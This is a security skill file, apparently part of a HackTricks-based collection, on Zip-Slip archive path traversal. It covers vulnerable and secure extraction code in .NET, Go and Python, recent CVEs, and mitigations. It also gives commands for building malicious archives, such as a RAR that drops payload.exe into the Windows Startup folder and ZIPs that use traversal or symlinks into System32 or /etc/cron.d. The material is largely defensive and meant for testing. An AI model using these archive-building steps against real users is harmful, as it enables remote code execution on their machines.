Hacktricks-skills archive-extraction-path-traversal
Security skill for detecting, testing, and mitigating archive extraction path traversal vulnerabilities (Zip-Slip, CVE-2025-8088, etc.). Use this skill whenever the user mentions archives (ZIP, RAR, TAR, 7-ZIP), file extraction, path traversal, zip-slip, archive security, or wants to test archive handling code. Also trigger when users ask about secure archive extraction, vulnerable code patterns, or creating security test cases for archive utilities.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/generic-hacking/archive-extraction-path-traversal/SKILL.MDArchive Extraction Path Traversal Security
A comprehensive skill for understanding, detecting, and mitigating archive extraction path traversal vulnerabilities (commonly called "Zip-Slip").
What This Skill Does
- Detect vulnerable archive extraction code patterns
- Create PoC archives for security testing
- Analyze archive entries for suspicious paths
- Implement secure extraction patterns
- Understand real-world exploitation cases
Core Concepts
The Vulnerability
Archive formats (ZIP, RAR, TAR, 7-ZIP) allow each entry to carry its own internal path. When extraction utilities blindly trust these paths, crafted filenames containing
.. or absolute paths can write files outside the intended directory.
Attack flow:
- Attacker creates archive with malicious entry paths (
or../evil.exe
)C:\Windows\payload.exe - Victim extracts with vulnerable tool
- File writes to attacker-controlled location
- If location is auto-run (Startup folder, cron), achieves RCE
Common Vulnerable Patterns
.NET Path.Combine + ZipArchive
// VULNERABLE - don't do this using (var zip = ZipFile.OpenRead(zipPath)) { foreach (var entry in zip.Entries) { var dest = Path.Combine(@"C:\samples\queue\", entry.FullName); entry.ExtractToFile(dest); // Path traversal if entry.FullName contains ..\ or is absolute } }
Why it fails:
discards the left component if the right is absolutePath.Combine- No path canonicalization before write
sequences traverse outside destination..\
Go archiver.Unarchive()
// VULNERABLE - archiver <= 3.5.1 archiver.Unarchive("exploit.zip", "/tmp/safe") // exploit.zip holds ../../../../home/user/.ssh/authorized_keys
Python zipfile
# VULNERABLE - no path validation import zipfile with zipfile.ZipFile('archive.zip', 'r') as zf: zf.extractall('/tmp/dest') # Can extract outside if entries have ../
Creating Test Archives
Python: Create ZIP with Path Traversal
Use
scripts/create_traversal_zip.py to generate test archives:
# Create ZIP with ../ traversal python scripts/create_traversal_zip.py \ --output test_traversal.zip \ --entry "../evil/payload.txt" \ --content "malicious content" # Create ZIP with absolute path python scripts/create_traversal_zip.py \ --output test_absolute.zip \ --entry "C:\\Windows\\System32\\evil.dll" \ --content "payload" # Create ZIP with symlink (Unix) python scripts/create_traversal_zip.py \ --output test_symlink.zip \ --symlink "/etc/passwd" \ --linkname "evil_link"
Bash: Create RAR with Path Traversal
# Requires rar >= 6.x mkdir -p "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup" cp payload.exe "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/" rar a -ep evil.rar evil/*
The
-ep flag preserves exact paths (doesn't prune leading ./).
Bash: Create ZIP with Symlink
mkdir -p out ln -s /etc/cron.d evil zip -y exploit.zip evil # -y preserves symlinks
Detection & Analysis
Analyze Archive Entries
Use
scripts/analyze_archive.py to scan for suspicious entries:
# Check ZIP file for traversal patterns python scripts/analyze_archive.py --file suspicious.zip # Check all archives in directory python scripts/analyze_archive.py --directory ./downloads/ # Verbose output with line numbers python scripts/analyze_archive.py --file archive.zip --verbose
What it detects:
or../
sequences..\\- Absolute paths (
,/
,C:
)\\\\ - Symlink entries pointing outside destination
- Null bytes or other obfuscation
Manual Detection Checklist
When reviewing archive extraction code, check for:
- Path canonicalization - Does code call
,realpath()
, or equivalent before write?PathCanonicalize() - Destination validation - After canonicalization, does the path still start with the intended destination?
- Symlink handling - Are symlinks extracted safely or blocked?
- Absolute path rejection - Are absolute paths in entries rejected?
- Sandbox extraction - Is extraction done in a disposable/sandboxed directory?
Secure Extraction Patterns
Python: Safe ZIP Extraction
import zipfile import os from pathlib import Path def safe_extract(zip_path, dest_dir): dest_dir = Path(dest_dir).resolve() with zipfile.ZipFile(zip_path, 'r') as zf: for entry in zf.infolist(): # Check for path traversal target_path = (dest_dir / entry.filename).resolve() # Reject if outside destination if not str(target_path).startswith(str(dest_dir)): raise ValueError(f"Unsafe path: {entry.filename}") # Reject symlinks if entry.external_attr >> 16 & 0xA000: raise ValueError(f"Symlink not allowed: {entry.filename}") zf.extract(entry, dest_dir)
Go: Safe Extraction Pattern
import ( "path/filepath" "os" ) func safeExtractEntry(destDir, entryName string) error { // Canonicalize destination destDir, err := filepath.Abs(destDir) if err != nil { return err } // Join and canonicalize targetPath := filepath.Join(destDir, entryName) targetPath, err = filepath.Abs(targetPath) if err != nil { return err } // Verify still under destination if !strings.HasPrefix(targetPath, destDir+string(os.PathSeparator)) { return fmt.Errorf("path escapes destination: %s", entryName) } // Safe to extract return extractToFile(targetPath, entry) }
.NET: Safe Extraction Pattern
using System.IO; using System.IO.Compression; public static void SafeExtract(string zipPath, string destDir) { var dest = Path.GetFullPath(destDir); using (var zip = ZipFile.OpenRead(zipPath)) { foreach (var entry in zip.Entries) { var target = Path.GetFullPath(Path.Combine(dest, entry.FullName)); // Reject if outside destination if (!target.StartsWith(dest, StringComparison.OrdinalIgnoreCase)) { throw new SecurityException($"Path traversal detected: {entry.FullName}"); } entry.ExtractToFile(target, true); } } }
Real-World Cases
CVE-2025-8088: WinRAR ≤ 7.12
Impact: RCE via Startup folder
WinRAR failed to validate filenames during extraction. A malicious RAR with entry:
..\..\..\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe
Would extract to the Startup folder, executing on next login.
Exploitation in the wild: RomCom (Storm-0978/UNC2596) used this for spear-phishing campaigns.
Fix: Update to WinRAR 7.13+
CVE-2025-11001: 7-Zip Symlink Traversal
Impact: RCE via cron/service locations
7-Zip 21.02–24.09 dereferenced symlinks during extraction, allowing escape from destination directory.
Fix: Update to 7-Zip 25.00+
CVE-2025-3445: Go mholt/archiver
Impact: Arbitrary file write
archiver.Unarchive() followed ../ and symlinked entries.
Fix: Switch to
mholt/archives ≥ 0.1.0 or implement canonical-path checks.
Mitigation Strategies
1. Update Extractors
| Tool | Vulnerable | Fixed In |
|---|---|---|
| WinRAR | ≤ 7.12 | 7.13+ |
| 7-Zip | 21.02–24.09 | 25.00+ |
| Go archiver | ≤ 3.5.1 | Use mholt/archives ≥ 0.1.0 |
2. Safe Extraction Options
- 7-Zip: Use
(always overwrite) with path validation-aoa - bsdtar: Use
--safe --xattrs --no-same-owner - Unzip: Use
with pre-validation-o
3. Sandboxing
- Unix: Extract in chroot/namespace, drop privileges
- Windows: Use AppContainer or sandbox
- General: Extract to disposable directory, verify paths, then move
4. Code Review Checklist
- Path canonicalization before write
- Destination validation after canonicalization
- Symlink rejection or safe handling
- Absolute path rejection
- No trust of user-controlled archive entries